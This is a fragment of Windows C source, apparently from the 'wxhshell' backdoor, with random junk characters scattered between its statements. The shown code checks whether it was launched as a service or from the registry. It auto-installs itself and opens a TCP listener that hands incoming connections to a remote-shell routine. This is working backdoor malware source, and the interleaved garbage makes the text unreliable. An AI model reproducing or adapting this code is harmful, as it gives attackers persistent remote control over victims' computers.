char procName[255]; UUzYbuS>&l unsigned long cbNeeded; =NnNN'} m@"QDMHk. if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #JgH}|&a$ "}q@Y= CloseHandle(hProcess); OK{quM5 tSVc|j if(strstr(procName,"services")) return 1; // 以服务启动 qQA}Z*(m q*F{/N** return 0; // 注册表启动 dRj| g } LV\DBDM xl6,s>ob // 主模块 giZP.C"0 int StartWxhshell(LPSTR lpCmdLine) +Vm}E0Ov { 2q3+0Et8 SOCKET wsl; )Y2{_ bx4" BOOL val=TRUE; MS\>DW int port=0; !G SV6 struct sockaddr_in door; v%"|WV[N e?7&M if(wscfg.ws_autoins) Install(); D}dn.$ iVB86XZ` port=atoi(lpCmdLine); wF|fK4F NWM8[dI if(port<=0) port=wscfg.ws_port; A6:es_ 3pv4B:0 WSADATA data; O-LO/*5MI if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ` D= S{
K[ (NTp$E if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; <F}_ /q1 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5Yl<h)1 door.sin_family = AF_INET; RoU55mL door.sin_addr.s_addr = inet_addr("127.0.0.1"); #9X70|f door.sin_port = htons(port); /LO-HnJ o
Z%9_$Z if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { H
*[_cqnv closesocket(wsl); ptDY3n~' return 1; BRlT7grgq } 2^^`n1?' 9?0^ap,T if(listen(wsl,2) == INVALID_SOCKET) { ``ou/Z closesocket(wsl); JBJhG<J return 1; _9=Yvc= } =bHD#o|R Wxhshell(wsl); `glBV`?^ WSACleanup(); lrv3fPIW -amBB7g return 0; >sK!F$ ~ ip,Nl } K{[%7AM '7+4`E // 以NT服务方式启动 cIav& |